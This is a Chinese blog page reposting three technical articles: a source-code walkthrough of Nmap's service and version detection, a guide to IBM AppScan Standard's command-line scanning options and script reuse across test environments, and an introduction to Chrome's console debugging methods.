PS:之所以转这个是因为这个的设计思路跟我正在做的东西的设计思路是差不多的.只能感慨下:创意无限~

Nmap源码分析(服务与版本扫描)

发布时间:August 7, 2015 // 分类:工作日志,开发笔记,运维工作,VC/C/C++,linux,windows,转帖文章 // No Comments

  Nmap提供了丰富的命令行选项(100多个选项),所以Nmap的命令行用法既可以简单到直接输入nmap targetip,也可以复杂到添加几十个选项对扫描过程进行性能优化。对Nmap的各类命令行选项有个总体把握,是熟练使用Nmap的先决条件。因此,这里以思维导图方式将Nmap的常用选项绘制出来,给用户清晰直观的印象。

  Nmap的思维导图(Mindmap)

  下载地址:http://aspirationflowspace.googlecode.com/files/nmap_usage_mindmap.png

Nmap源码分析(服务与版本扫描)

 

  在进行端口扫描后,Nmap可以进一步探测出运行在端口上的服务类型及应用程序的版本。目前Nmap可以识别几千种服务程序的签名(Signature),覆盖了180多种应用协议。比如,端口扫描检测到80端口是开放的,可以通过服务与版本扫描来确定其实际运行的协议(正常情况下是HTTP)及Web服务器名称及版本(比如是Apache xxx.xxx或者Microsoft IIS等)。

 

 

  扫描原理是服务指纹(或称签名)对比匹配。Nmap内部包含了几千种常见服务指纹的数据库(nmap-service-probes),对目标端口进行连接通信,产生当前端口的服务指纹,再与指纹数据库对比,寻找出匹配的服务类型。

  服务与版本侦测主要分为以下几个步骤:

1.        首先检查open与open|filtered状态的端口是否在排除端口列表内。如果在排除列表,将该端口剔除。

2.        如果是TCP端口,尝试建立TCP连接。尝试等待片刻(通常6秒或更多,具体时间可以查询文件nmap-services-probes中ProbeTCP NULL q||对应的totalwaitms)。通常在等待时间内,会接收到目标机发送的“Welcome Banner”信息。nmap将接收到的Banner与nmap-services-probes中NULLprobe中的签名进行对比。查找对应应用程序的名字与版本信息。

3.        如果通过“Welcome Banner”无法确定应用程序版本,那么nmap再尝试发送其他的探测包(即从nmap-services-probes中挑选合适的probe),将probe得到回复包与数据库中的签名进行对比。如果反复探测都无法得出具体应用,那么打印出应用返回报文,让用户自行进一步判定。

4.        如果是UDP端口,那么直接使用nmap-services-probes中探测包进行探测匹配。根据结果对比分析出UDP应用服务类型。

5.        如果探测到应用程序是SSL,那么调用openSSL进一步的侦查运行在SSL之上的具体的应用类型。

6.        如果探测到应用程序是SunRPC,那么调用brute-forceRPC grinder进一步探测具体服务。

 

服务扫描用法

-sV: 指定让Nmap进行版本侦测

--version-intensity<level>: 指定版本侦测强度(0-9),默认为7。数值越高,探测出的服务越准确,但是运行时间会比较长。

--version-light: 指定使用轻量侦测方式 (intensity 2)

--version-all: 尝试使用所有的probes进行侦测 (intensity 9)

--version-trace: 显示出详细的版本侦测过程信息。

2   实现框架
下面先介绍服务与版本扫描涉及到的源文件与库、核心Class,然后介绍服务扫描的核心函数实现流程及流程的细节。
 
2.1  文件组织

service_scan.cc/service_scan.h

服务扫描的核心功能都在此两个文件中实现,文件结构清晰简洁,代码行数总共3000余行。与端口扫描部分类似,服务扫描也定义了不少类与接口函数。

nmap-service-probes

此文件是nmap服务扫描所需的数据库文件,包括定制的探测包及预期的回复包,及识别服务类型的具体匹配方式。

下面摘取其中片段,简单了解其结构。

Probe TCPNULL q||
# Wait forat least 6 seconds for data.  It used tobe 5, but some
# smtpservices have lately been instituting an artificial pause (see
#FEATURE('greet_pause') in Sendmail, for example)
totalwaitms6000
 
match 1c-server m|^S\xf5\xc6\x1a{|p/1C:Enterprise business management server/
 
match4d-server m|^\0\0\0H\0\0\0\x02.[^\0]*\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0$|sp/4th Dimension database server/
 
match acapm|^\* ACAP IMPLEMENTATION\"CommuniGateProACAP(\d[−.\w]+)\" |p/CommuniGate Pro ACAP server/ v/$1/ i/for mail client preference sharing/
match acmpm|^ACMP Server Version ([\w._-]+)\r\n| p/Aagon ACMP Inventory/ v/$1/
matchactivemq m|^\0\0\0.\x01ActiveMQ\0\0\0|s p/Apache ActiveMQ/

第一行Probe关键字表示定义一个探测包,其类型为TCP,名字为NULL,探测字符串为空(q||)。以#开头为注释行,为读者提供参考信息。随后定义默认服务等待时间totalwaims 6000,即6秒钟。后面的match行,定义服务匹配的情况,即在此条件下认为此端口是运行的具体服务类型。match行的格式如下:

match <service> <pattern> [<versioninfo>]

service为服务名称,pattern为匹配的模式(正则表达式),versioninfo为该服务对应的版本信息。这里以match 1c-serverm|^S\xf5\xc6\x1a{| p/1C:Enterprise business management server/为例,当使用NULL探测包获取的返回包中包含:m|^S\xf5\xc6\x1a{|模式(该正则表达式含义:以字符S开头,紧随其后三个字符\xf5\xc6\x1a)时,并且从提取出厂商产品名字与1C:Enterprise businessmanagement server相符,那么判断该服务为1c-server。

其他的行与此类似,这里就不再赘述。

 

nsock library

服务与版本扫描部分用到nsock库,该库设计用于并发处理网络事件。在Nmap源码树下,有单独的nsock目录来管理nsock库。此处我们仅需要关注nsock.h文件中提供的API函数即可。

2.2  核心类分析

  服务扫描过程中,主要构建了5个类,分别描述不同层次的数据类型。下面我们将以宏观到微观的思路,依次查看每个类的结构与用法。其中ServiceGroup从整理的角度管理服务扫描过程;ServiceNFO则具体的负责管理每一种服务扫描过程;AllProbes负责管理所有用于服务扫描的探测包;ServiceProbe则描述每一个进行服务探测的探测包细节(对应nmap-service-probes中描述的探测包);ServiceProbeMatch则描述探测包的匹配类型(每一个ServiceProbe可能包含多种匹配类型)。

  下面依次查看每个类的细节。

 

2.2.1ServiceGroup

  ServiceGroup用于管理一组目标机进行服务扫描的信息。这个类非常重要,负责统一管理其他具体的信息:如单个服务扫描信息(ServiceNFO)、全部探测包信息(AllProbes)、服务探测包信息(ServiceProbe)等等。

  该类主要包含以下具体内容:

  1. 扫描完成的服务列表services_finished,记录目前已经扫描完毕的服务。
  2. 正在扫描的服务列表services_in_progress。多个服务可能在同时并发地被探测,所以此处将当前正在扫描的服务全部记录在该列表中。
  3. 剩余服务列表services_remaining,当前还没有开始探测的服务被放置在该列表中。在服务扫描初始化时,所有的服务的都被放置在列表中。
  4. 最大的并发探测包ideal_parallelism,用于确定同时发送服务探测包的并发数量,此值取决于用户配置的时序参数和具体网卡的支持能力等因素。若配置时序为-T4,那么会将ideal_parallelism设置40。
  5. 扫描进度测量器ScanProgressMeter,用于记录服务扫描的进度情况,以便能够实时地反馈给用户。在控制台界面按下普通按键(如按下空格键,不包括“vVdDp?”字符,这几个字符有特殊含义),Nmap会打印出当前的扫描进度。
  6. 超时主机的数量,记录当前扫描超时的主机数量。
// This holds theservice information for a group of Targets being service scanned.

class ServiceGroup {

public:

  ServiceGroup(vector<Target *>&Targets, AllProbes *AP);

  ~ServiceGroup();

  list<ServiceNFO *> services_finished;// Services finished (discovered or not)

  list<ServiceNFO *>services_in_progress; // Services currently being probed

  list<ServiceNFO *> services_remaining;// Probes not started yet

  unsigned int ideal_parallelism; // Max (anddesired) number of probes out at once.

  ScanProgressMeter *SPM;

  int num_hosts_timedout; // # of hosts timedout during (or before) scan

};

2.2.2ServiceNFO

  ServiceNFO负责管理特定的服务的探测细节。上述的ServiceGroup中就是管理ServiceNFO对象组成的列表。

  ServiceNFO类包含以下信息:

  1. 服务指纹的管理(提供添加与获取等操作)
  2. 服务扫描对应的主机(Target *target)
  3. 服务探测匹配的信息(是否匹配、是否softmatch、ssl配置、产品、版本、CPE等信息)
  4. 管理探测包(服务扫描过程可能需要发送多个探测包,在此对当前探测包、下一个探测包进行管理)
  5. 管理回复包(提供添加与获取等操作)。
  6. 服务扫描所需的全部探测包AllProbes *AP;

 

2.2.3AllProbes

  AllProbes负责管理全部的服务探测包(Probes)。该类的对象从nmap-service-probes数据库文件中解析出探测包及匹配方式等信息,将之管理起来。在后续服务扫描时,在此对象中来按需取出探测包发送即可。

  该类主要包含以下几个方面内容:

  1. 探测包管理(探测包向量std::vector<ServiceProbe *>probes、NULL探测包等)
  2. 编制回退数组(compileFallbacks),当回复包无法匹配当前字符串时,允许回退到上一次匹配字符串。
  3. 管理排除端口列表。在nmap-service-probes中指定需排除的服务扫描,默认排除TCP的9100-9107端口,此类打印机服务会返回大量的无用信息。
  4. 服务初始化接口与释放接口。

 

2.2.4ServiceProbe

  ServiceProbe负责管理单个的服务探测包的详细信息。服务探测包具体的信息来自nmap-service-probes数据库文件,当AllProbes类在初始化时会读取该文件,并依据其每个探测信息创建ServiceProbe对象,放置在AllProbes内部的向量std::vector<ServiceProbe *>probes中。

  该类主要包含以下内容:

  1. 探测包名字,比如探测包名字叫NULL或GenericLines等等。
  2. 探测包字符串及字符串长度。非NULL探测包都包含探测需要字符串,所以此处对该信息进行管理。例如,对于探测包:Probe TCP GenericLinesq|\r\n\r\n|,其探测字符串为\r\n\r\n。
  3. 允许的端口及SSL端口。除NULL外,探测包通常只会针对特定的端口扫描才有效,所以此处即管理该探测包允许的扫描的端口。
  4. 探测包的协议类型probeprotocol,只能是TCP或UDP。
  5. 可被探测的服务类型detectedServices。与允许端口类似,探测包可能只能用于某些特定的服务的探测,所以此处统一管理能被探测的服务类型。
  6. 服务探测包匹配管理。该类中使用向量std::vector<ServiceProbeMatch*> matches来管理此服务探测包可能会匹配的情况,匹配情况对应到nmap-service-probes中的match与softmatch行。
  7. 探测回退数组(fallback array)的管理,此对应到AllProbes中compileFallbacks()函数,此处管理具体的服务探测包进行回退的数组。数组结构:ServiceProbe*fallbacks[MAXFALLBACKS+1];
  8. 测试是否匹配,此接口函数用于测试某个回复包是否与预期结果匹配。
  9. 其他接口函数,管理其他普通信息。

 

2.2.5ServiceProbeMatch

  ServiceProbeMatch用于管理特定的服务探测包的匹配信息(match)。nmap-service-probes文件中每一个match和softmatch行都对应到该类的对象。

该类信息比较丰富,以下仅简要描述:

  1. 探测包匹配详细信息(版本、产品、CPE等等)
  2. 探测匹配情况(匹配类型、匹配字符串、正则表达式等等)
  3. 测试是否匹配接口函数。若匹配成功,返回详细的服务与版本信息。

 

2.3  代码流程

  在nmap.cc文件的nmap_main()函数中,如果配置了服务扫描,那么调用service_scan()函数(位于service_scan.cc文件中)。服务扫描的内容主要在service_scan()函数中完成。

  service_scan()函数比较简洁,只有120多行代码。因为服务扫描涉及到具体详细的操作都封装到类或其他的静态非成员函数中了,而并发处理网络事件部分调用nsock库来处理。

2.3.1代码流程图

2.3.2流程解析

  首先在nmap_main()中将扫描目标机传入service_scan()函数中,以便根据目标机端口状态来筛选需要扫描的服务。

  然后,在AllProbes:: service_scan_init()读取nmap-service-probes文件,解析出被排除的端口、扫描过程需要的探测包、探测包匹配等详细信息。将信息存放在AllProbes对象内。

  随后,根据Targets和AllProbes创建服务组对象(ServiceGroup),从Targets中解析出开放的端口与处于open|filtered状态的端口,创建对应的ServiceNFO对象,该服务等待被扫描。并创建扫描进度测量器,以便后续打印出扫描进度;确定最佳的扫描并发度ideal_parallelism。

  然后,确定排除端口。默认情况下,排除nmap-service-probes中指定的端口Exclude T:9100-9107;而如果用户命令行指定--all-ports,那么不排除Exclude指定的端口。

为每个目标机设置超时时钟,获取当前时间。

  然后开始进入关键环节,创建nsock pool,即nsock处理并发探测包的事件池。在创建nsock pool后,服务扫描才能使用nsock建立连接并注册事件。

根据用户需求,设置服务扫描的trace信息。

  若配置了openssl时,将其速度设置为最大。因为对于服务扫描,仅关心端口的服务类型,不必在安全性花费过多时间。

  然后开始启动少量的服务探测包(launchSomeServiceProbes)。根据前述步骤得出的服务探测包,创建nsock niod(io描述符,类似于文件描述符,管理输入输出),完成地址等信息配置,然后建立CP连接或UDP连接,在建立连接后向nsock pool注册事件。此后,该连接的事件将交给nsock loop来统一处理。

  创建nsock主循环(nsock_loop),在此循环中来接收网络事件(例如接收到回复包),调用相应的处理函数对事件响应(函数servicescan_read_handler()、servicescan_write_handler()、servicescan_connect_handler())。在处理函数中,扫描完成了某些服务后,会再调用launchSomeServiceProbes()函数加载剩余的服务进来扫描,以此整个服务扫描过程就被有序地连接起来了。

  当nsock循环退出,检查是否有错,并删除nsock pool对象。

  打印出调试信息,处理最终扫描结果。

3  源码注释

/* Execute a service fingerprinting scan against all open ports of the
   Targets specified. */
///针对指定目标机的开放的端口进行服务指纹扫描,
///此处会用到Nmap的nsock库(并发的Socket Event处理库)
int service_scan(vector<Target *> &Targets) {
  // int service_scan(Target *targets[], int num_targets)
  AllProbes *AP;
  ServiceGroup *SG;
  nsock_pool nsp;
  struct timeval now;
  int timeout;
  enum nsock_loopstatus looprc;
  struct timeval starttv;

  if (Targets.size() == 0)
    return 1;

  AP = AllProbes::service_scan_init();///获取AllProbes对象,AllProbes仅维护一个Static对象
  ///在service_scan_init()中将读取nmap-service-probes文件,解析出需要的探测包,并存放在
  ///AllProbes中std::vector<ServiceProbe *> probes向量中。


  // Now I convert the targets into a new ServiceGroup
  ///使用Targets向量与AllProbes创建服务组ServiceGroup,从Targets中提取open端口及
  ///open|filtered端口,放入services_remaining等待进行服务扫描。
  ///在创建服务组时,确定出服务扫描的最佳并发度ideal_parallelism
  SG = new ServiceGroup(Targets, AP);

  if (o.override_excludeports) {
    ///覆盖被排除端口,当命令行中指定--all-ports时会走到此分支。
    ///被排除的端口是指在nmap-service-probes文件用Exclude指令定义的端口。
    if (o.debugging || o.verbose) log_write(LOG_PLAIN, "Overriding exclude ports option! Some undesirable ports may be version scanned!\n");
  } else {
    ///从ServiceGroup中移除被排除的端口,Nmap默认会排出掉9100-9107与打印机相关的服务,
    ///因为此类服务只是简单返回Nmap发送过去的探测包,会产生大量的垃圾的流量。
    ///默认情况下在nmap-service-probes文件头部定义:Exclude T:9100-9107
    remove_excluded_ports(AP, SG);
  }
  ///为所有需要进行服务扫描的主机设置超时值
  startTimeOutClocks(SG);

  if (SG->services_remaining.size() == 0) {
    delete SG;
    return 1;
  }
  
  gettimeofday(&starttv, NULL);
  if (o.verbose) {
    char targetstr[128];
    bool plural = (Targets.size() != 1);
    if (!plural) {
      (*(Targets.begin()))->NameIP(targetstr, sizeof(targetstr));
    } else Snprintf(targetstr, sizeof(targetstr), "%u hosts", (unsigned) Targets.size());

    log_write(LOG_STDOUT, "Scanning %u %s on %s\n", 
          (unsigned) SG->services_remaining.size(), 
          (SG->services_remaining.size() == 1)? "service" : "services", 
          targetstr);
  }

  // Lets create a nsock pool for managing all the concurrent probes
  // Store the servicegroup in there for availability in callbacks
  ///创建nsock pool,以使用nsock并发控制探测包
  if ((nsp = nsp_new(SG)) == NULL) {
    fatal("%s() failed to create new nsock pool.", __func__);
  }

  ///根据用户指定的packettrace配置,设置nsock的trace级别
  if (o.versionTrace()) {
    nsp_settrace(nsp, NULL, NSOCK_TRACE_LEVEL, o.getStartTime());
  }

#if HAVE_OPENSSL
  /* We don't care about connection security in version detection. */
  ///配置SSL时,关注传输速度,而不关注安全性本身,以加速服务扫描过程。
  nsp_ssl_init_max_speed(nsp);
#endif

  ///从service_remaining列表中找出满足条件的等待探测服务,对之进行配置,
  ///创建nsock文件描述符(niod),并通过nsock建立连接(如nsock_connect_tcp()),
  ///并将此探测服务移动到services_in_progress列表中。
  launchSomeServiceProbes(nsp, SG);

  // How long do we have before timing out?
  gettimeofday(&now, NULL);
  timeout = -1;

  // OK!  Lets start our main loop!
  ///nsock主循环,在此循环内处理各种探测包的事件(nsock event)
  ///在上述的launchSomeServiceProbes操作中,调用到nsock_connect_tcp/udp/sctp等,
  ///最终执行nsp_add_event函数向nsock pool添加等待处理的事件。
  looprc = nsock_loop(nsp, timeout);
  if (looprc == NSOCK_LOOP_ERROR) {
    int err = nsp_geterrorcode(nsp);
    fatal("Unexpected nsock_loop error.  Error code %d (%s)", err, strerror(err));
  }
  ///退出主循环后,删除nsock pool
  nsp_delete(nsp);

  if (o.verbose) {
    char additional_info[128];
    if (SG->num_hosts_timedout == 0)
      Snprintf(additional_info, sizeof(additional_info), "%u %s on %u %s",
        (unsigned) SG->services_finished.size(),  
        (SG->services_finished.size() == 1)? "service" : "services", 
        (unsigned) Targets.size(), (Targets.size() == 1)? "host" : "hosts");
    else Snprintf(additional_info, sizeof(additional_info), "%u %s timed out", 
           SG->num_hosts_timedout, 
           (SG->num_hosts_timedout == 1)? "host" : "hosts");
    SG->SPM->endTask(NULL, additional_info);
  }

  // Yeah - done with the service scan.  Now I go through the results
  // discovered, store the important info away, and free up everything
  // else.
  ///对服务扫描结果的处理
  processResults(SG);

  delete SG;

  return 0;
}

from:http://blog.csdn.net/aspirationflow/article/details/7910350

About AppScan Standard CLI

发布时间:July 25, 2015 // 分类:工作日志,开发笔记,转帖文章,windows,生活琐事 // No Comments

前言

IBM Security AppScan Standard(以下简称 AppScan Standard)是业界一款优秀的 Web 应用安全测试工具。越来越多的机构将之应用到实际开发过程中,并尝试将 AppScan Standard 集成到他们的自动化构建中去。AppScan Standard 自V8.6开始就提供 的 CLI 命令行界面提供了丰富的命令及参数,用户可以很方便地从脚本或者批处理文件中控制 AppScan Standard,轻松实现将 AppScan Standard 集成到自动构建中去。

 

AppScan Standard CLI 命令简介

AppScan Standard 安装完成后,会在系统变量 "PATH" 中增加 AppScan Standard 的安装根目录(譬如 C:\Program Files (x86)\IBM\Rational AppScan\)。AppScan Standard CLI 命令 AppScanCMD.exe 即存在于 AppScan 的安装根目录中。因此用户打开 DOS 命令窗口,即可以执行 AppScan Standard 的 CLI 命令。

AppScanCMD.exe
以下参数中至少缺失一个:base_scan, starting_url, scan_template, manual_explore_file = ''
Program Usage:

AppScanCMD exec|ex|e

        Parametrs:
        [ /starting_url|/surl|/su <http://demo.testfire.net> ]
        [ /dest_scan|/dest|/d <full_path> ]
        [ /base_scan|/base|/b <full_path> ]
        [ /old_host|/ohost|/oh <http://demo.testfire.net> ]
        [ /new_host|/nhost|/nh <http://testing.testfire.net> ]
        [ /scan_template|/stemplate|/st <full_path> ]
        [ /login_file|/lfile|/lf <full_path> ]
        [ /multi_step_file|/mstepfile|/mf <full_path> ]
        [ /manual_explore_file|/mexplorefile|/mef <full_path> ]
        [ /policy_file|/pfile|/pf <full_path> ]
        [ /additional_domains|/adomains|/ad <demo.testfire.net123> ]
        [ /report_file|/rf <full_path> ]
        [ /report_type|/rt <Xml,Pdf,Rtf,Txt,Html,rc_ase> {xml} ]
        [ /min_severity|/msev <Informational,Low,Medium,High> {informational} ]
        [ /test_type|/tt <All,Application,Infrastructure,ThirdParty>]

        Flags:
        [ /verbose|/v {false} ]
        [ /scan_log|/sl {false} ]
        [ /explore_only|/eo {false} ]
        [ /test_only|/to {false} ]
        [ /multi_step|/mstep|/ms {false} ]
        [ /continue|/c {false} ]

        可通过 base_scan 配置、保存 dest_scan 和创建报告来创建新的扫描,如果已配置的话。


AppScanCMD report|rep|r

        Parametrs:
        /base_scan|/base|/b <full_path>
        /report_file|/rf <full_path>
        [ /report_type|/rt <Xml,Pdf,Rtf,Txt,Html,rc_ase> {xml} ]
        [ /min_severity|/msev <Informational,Low,Medium,High> {informational} ]
        [ /test_type|/tt <All,Application,Infrastructure,ThirdParty> ]

        Flags:
        [ /verbose|/v {false} ]

        创建 base_scan 报告。


AppScanCMD help|h

        打印用途。

AppScan Standard CLI 命令调用比较简单,主要包括三个部分:CLI 命令 + CLI 子命令 + 子命令参数。ACLI 命令包括三个子命令:Exec,Report,Help。下面列出三个子命令的功能和详细参数。

  • Exec 命令

Exec 命令会使用指定的起始 URL 创建新扫描,运行和保存此扫描。同时还可以使用它来生成和保存扫描的报告。如果没有指定 CLI 子命令,缺省模式下将会运行 exec 命令。

表 1. Exec 命令参数
参数 说明
/starting_url 设置扫描的起始 URL。起始 URL 也可以在 /base_scan 或者 /scan_template 中指定。starting_url 参数会覆盖前两者参数中的起始 URL。
/base_scan 设置源扫描文件(必须包含完整路径),新建扫描文件将使用该源扫描文件中的扫描配置。
/dest_scan 设置新扫描文件的保存位置(必须包含完整路径)。此参数若未设置的话,AppScanCMD 会把新扫描文件保存到 Temp 文件夹,并提示新扫描文件的完整路径。
/scan_template 设置扫描模板文件,新建扫描文件将使用该模板文件中的扫描配置。
/old_host
/new_host
/old_host 跟 /new_host 配合使用,新扫描文件将会用 new_host 来替换扫描中所有的 old_host 路径。这个参数非常有利于脚本重用,譬如 FVT 阶段的 AppScan 脚本即可通过这种方式重用到 UAT 环境中。
/login_file 指定新扫描文件需导入的登录序列。
/multi_step_file 指定新扫描文件需导入的多步骤文件
/manual_explore_file 指定新扫描文件需导入的手工探索文件。
/policy_file 指定新扫描文件所使用的测试策略文件。
/additional_domains 指定新扫描文件在扫描中包含的、除起始 URL 之外的域。如果有多个域,建议用分号将它们分隔。
/report_file 设定新扫描文件需生成的报告名称和路径(必须包括完整路径)。
/report_type 设定报告格式。支持 <xml|pdf|rtf|txt|html|rc_ase> 六种报告格式,缺省值为 XML。rc_ase 指的是 AppScan Enterprise 报告,使用时需保证设置好 AppScan Enterprise 的连接参数。
/min_severity 指定要在报告中包含的最低结果严重性(仅适用于非 XML 报告),支持四种严重性 <low|medium|high|informational>,缺省值为 low。
/test_type 指定要在报告中包含哪些类型的测试,支持四大类型 <All|Application|Infrastructure|ThirdParty>,缺省值为 All。
/verbose 包含此标志,则在输出中包含进度行。
/scan_log 包含此标志,则在扫描时显示扫描日志。
/explore_only 包含此标志,则仅运行"探索"阶段。
/test_only 包含此标志,则仅运行"测试"阶段。
/multi-step 包含此标志,则仅测试多步骤操作。
/continue 包含此标志,则继续扫描 base_scan 文件。
  • Report 命令

Report 命令用来载入指定的扫描文件,生成对应的报告。Report 命令参数主要有 /base_scan,/report_file,/report_type,/min_severity,/test_type 这五项,用法和功能跟 Exec 命令中的同名参数相同。本文不再赘述。

  • Help 命令

Help 命令用以帮助熟悉 CLI 的命令用法。Help 命令没有参数。

AppScan Standard CLI 命令在执行完成中会输出退出状态代码,用以表示操作是否成功,如果不成功还通过退出状态代码提示错误内容。

表 2. CLI 命令退出代码表
代码 意义
0 成功完成
1 AppScan 启动失败
2 命令行错误
3 许可证无效
4 装入失败
5 扫描失败
6 报告失败
7 保存失败
8 常见错误

看到这里,相信已经对 AppScan 的 CLI 命令已经了然于心。AppScan Standard CLI 命令非常直观明了。但我们也看到 Exec 命令有很多参数,究竟什么情况下该用哪些参数?采用 base_scan 还是采用 starting_url 和 scan_template 等参数?什么样的脚本重用性更好,更适合使用 AppScan Standard CLI 来集成?

appscancmd也跟wvs_console一样直接用命令行选项来设置扫描参数,appscancmd的扫描必须基于一个base_scan,目的就是为了读取扫描参数。所以在使用appscancmd之前我们必须通过GUI来创建一个base_scan。创建base_scan跟在GUI下新建一个扫描任务是一样的,唯一区别在“扫描配置向导”的最一步选择“我将稍后启动扫描”,然后保存扫描到文件。

完成配置,保存结果文件,最后退出appscan的GUI。

然后调用appscancmd来进行扫描

AppScanCMD exec /e /b D:\我的文档\Documents\AppScan\tianya8.scan /d D:\我的文档\Documents\AppScan\tianya8.scan /rt pdf /rf d:\tian.pdf

/e exec执行扫描任务
/b base_scan appscancmd无法同wvs_console一样直接用命令行选项来设置扫描参数,appscancmd的扫描必须基于一个base_scan,目的就是为了读取扫描参数。所以在使用appscancmd之前我们必须通过GUI来创建一个base_scan。创建base_scan跟在GUI下创建一个扫描是一样的,唯一区别在“扫描配置向导”的最一步选择“我将稍后启动扫描”,然后保存扫描。示例中我的base_scan保存为D:\Appscan\Basescan\www.scan
/d dest_scan 根据base_scan新生成扫描目标。
/rt report_type 生成报告类型。
/rf    report_file 生成报告

不过整个玩意老吃内存了

常用 AppScan Standard CLI 命令

快速开发过程中,我们往往按照故事(Store)为单元进行开发。实际工作中往往会为每个故事录制 AppScan Standard 的测试脚本,一旦某个故事实现并部署到 FVT(Function Verification Test)环境后,我们会将录制好的该故事的测试脚本加入到集成测试中。在不同迭代(Sprint)阶段,我们会为新增加的故事录制新的测试脚本。在前期的几个迭代阶段,一般仅执行新增故事的安全测试。在最后的几个迭代阶段内,会执行前面阶段所录制的全部测试脚本。FVT 测试完成后系统迁移到 UAT(User Acceptance Test)环境后,还会再次执行全部测试脚本。为了更好地保证系统的安全性,UAT 测试阶段还会由其他安全测试团队对系统再进行一次完整安全测试。

可以看出,整个开发阶段安全测试任务比较多,如果每次都打开图形界面去录制脚本进行安全测试,这个工作量将会比较大。因此实际工作中比较注重测试脚本的重用性。提高脚本重用性主要通过以下几种方式:

  • 将通用的扫描配置导出为 .scant 模板,譬如“环境定义”、“探索选项”、“定制参数”、“错误页面”、“通信和代理”、“测试选项”等。
  • 将定制好的测试策略导出为 .policy 文件,通常将测试测罗分为几组,如“应用程序”、“基础结构”、“侵入性”等。在 FVT 阶段侧重测试应用程序漏洞,在 UAT 阶段侧重测试基础结构及侵入性测试。
  • 将录制好的登录脚本导出 .login 文件。一般建议在登录脚本中使用公用测试帐号,如果绑定了个人帐号,建议各人采用各自的登录脚本,以便个人帐号信息泄漏。
  • 将各个故事对应的测试脚本导出 .exd 文件。
  • 将多步骤操作序列导出为 .seq 文件。

基于以上重用性原则,笔者通常会为系统定制好扫描模板,录制登录脚本,手工探索各个故事的操作过程导出为 .exd 文件(测试策略通常建议由公司层面统一规范)。然后通过 CLI 命令执行以上测试脚本。以下是常用的几个 CLI 命令。

清单 1. 针对某故事的测试命令
AppScanCMD exec /starting_url http://sampleFVT.com/store1 /scan_template mytemplate.scant
 /policy_file c:/scan_scripts/itcs104.policy /login_file jeremy.login 
 /manual_explore_file c:/scan_scripts/store1.exd /test_only 
 /report_file c:/scan_scripts/store1_report.pdf /report_type pdf

清单 1 命令中的 starting_url 设置了该故事的起始 URL;scan_template 设置了全局通用的扫描配置选项,譬如基于参数导航的设置、通信超时设置等;policy_file 指定了测试策略;login_file 指定了当前测试人员自己的登录序列;manual_explore_file 指定了针对该故事所录制并导出的探索脚本;test_only 限定 AppScan 仅测试该故事,不要自行探测其他 URL;report_file 和 report_type 用来设定输出测试报告。

通过清单 1 可以看出,这种测试方法下脚本能够最大化重复利用,譬如登录脚本、模板等;其次,这种测试方法效率较高,仅集中测试该故事所包括的 URL;同时由于脚本都拆开后,可维护性也较好,如果该故事的 URL 有变化,仅需要重新录制探测脚本即可以,或者直接手工编辑 .exd 文件;此外,这个测试脚本可以重复执行,这个命令可以通过批处理文件、Junit、Ant 等集成起来重复调用。

清单 2. 多步骤操作的测试命令
AppScanCMD exec /scan_template mytemplate.scant /policy_file itcs104.policy 
 /login_file jeremy.login /multi_step_file c:/scan_scripts/multistepscenario.seq 
 /multi-step /report_file c:/scan_scripts/store1_report.pdf /report_type pdf

清单 2 命令中的 scan_template 设置了全局通用的扫描配置选项;policy_file 指定了测试策略;login_file 设置了当前测试人员自己的登录序列;multi_step_file 设定了多步骤操作序列;multi-step 标志限定 AppScan 仅测试多步骤操作,不再去探索其他 URL;report_file 和 report_type 用来设定输出测试报告。

清单 3. UAT 环境的测试命令
AppScanCMD exec /starting_url http://sampleUAT.com/store1 /scan_template mytemplate.scant
 /old_host http://sampleFVT.com /new_host http://sampleUAT.com 
 /policy_file c:/scan_scripts/itcs104.policy /login_file jeremy.login 
 /manual_explore_file c:/scan_scripts/store1.exd /test_only 
 /report_file c:/scan_scripts/store1_report.pdf /report_type pdf

通常 FVT 阶段完成后,会利用 new_host 和 old_host 命令来重用 FVT 环境的 AppScan 测试脚本进行 UAT 环境的安全测试。譬如清单 3 所示,相比于清单 1 增加了“/old_host http://sampleFVT.com /new_host http://sampleUAT.com”,AppScan 即可以自动将探索和测试阶段的“sampleFVT.com”域名替换为“sampleUAT.com”域名。非常酷的特性,目前只有 CLI 模式下才能使用该特性,图形界面下暂不支持这功能。

Chrome 控制台console的用法

发布时间:July 19, 2015 // 分类:工作日志,linux,转帖文章,windows,生活琐事 // No Comments

大家都有用过各种类型的浏览器,每种浏览器都有自己的特色,本人拙见,在我用过的浏览器当中,我是最喜欢Chrome的,因为它对于调试脚本及前端设计调试都有它比其它浏览器有过之而无不及的地方。可能大家对console.log会有一定的了解,心里难免会想调试的时候用alert不就行了,干嘛还要用console.log这么一长串的字符串来替代alert输出信息呢,下面我就介绍一些调试的入门技巧,让你爱上console.log

先的简单介绍一下chrome的控制台,打开chrome浏览器,按f12就可以轻松的打开控制台

大家可以看到控制台里面有一首诗还有其它信息,如果想清空控制台,可以点击左上角那个来清空,当然也可以通过在控制台输入console.clear()来实现清空控制台信息。如下图所示

现在假设一个场景,如果一个数组里面有成百上千的元素,但是你想知道每个元素具体的值,这时候想想如果你用alert那将是多惨的一件事情,因为alert阻断线程运行,你不点击alert框的确定按钮下一个alert就不会出现。

下面我们用console.log来替换,感受一下它的魅力。

看了上面这张图,是不是认识到log的强大之处了,下面我们来看看console里面具体提供了哪些方法可以供我们平时调试时使用。

目前控制台方法和属性有:

 

下面我们来一一介绍一下各个方法主要的用途。

一般情况下我们用来输入信息的方法主要是用到如下四个

1、console.log 用于输出普通信息

2、console.info 用于输出提示性信息

3、console.error用于输出错误信息

4、console.warn用于输出警示信息

5、console.debug用于输出调试信息

用图来说话

console对象的上面5种方法,都可以使用printf风格的占位符。不过,占位符的种类比较少,只支持字符(%s)、整数(%d或%i)、浮点数(%f)和对象(%o)四种

console.log("%d年%d月%d日",2011,3,26);
console.log("圆周率是%f",3.1415926);

%o占位符,可以用来查看一个对象内部情况

var dog = {};
dog.name = "大毛";
dog.color = "黄色";
console.log("%o", dog);

6、console.dirxml用来显示网页的某个节点(node)所包含的html/xml代码

<body>
    <table id="mytable">
        <tr>
            <td>A</td>
            <td>A</td>
            <td>A</td>
        </tr>
        <tr>
            <td>bbb</td>
            <td>aaa</td>
            <td>ccc</td>
        </tr>
        <tr>
            <td>111</td>
            <td>333</td>
            <td>222</td>
        </tr>
    </table>
</body>
<script type="text/javascript">
    window.onload = function () {
        var mytable = document.getElementById('mytable');
        console.dirxml(mytable);
    }
</script>

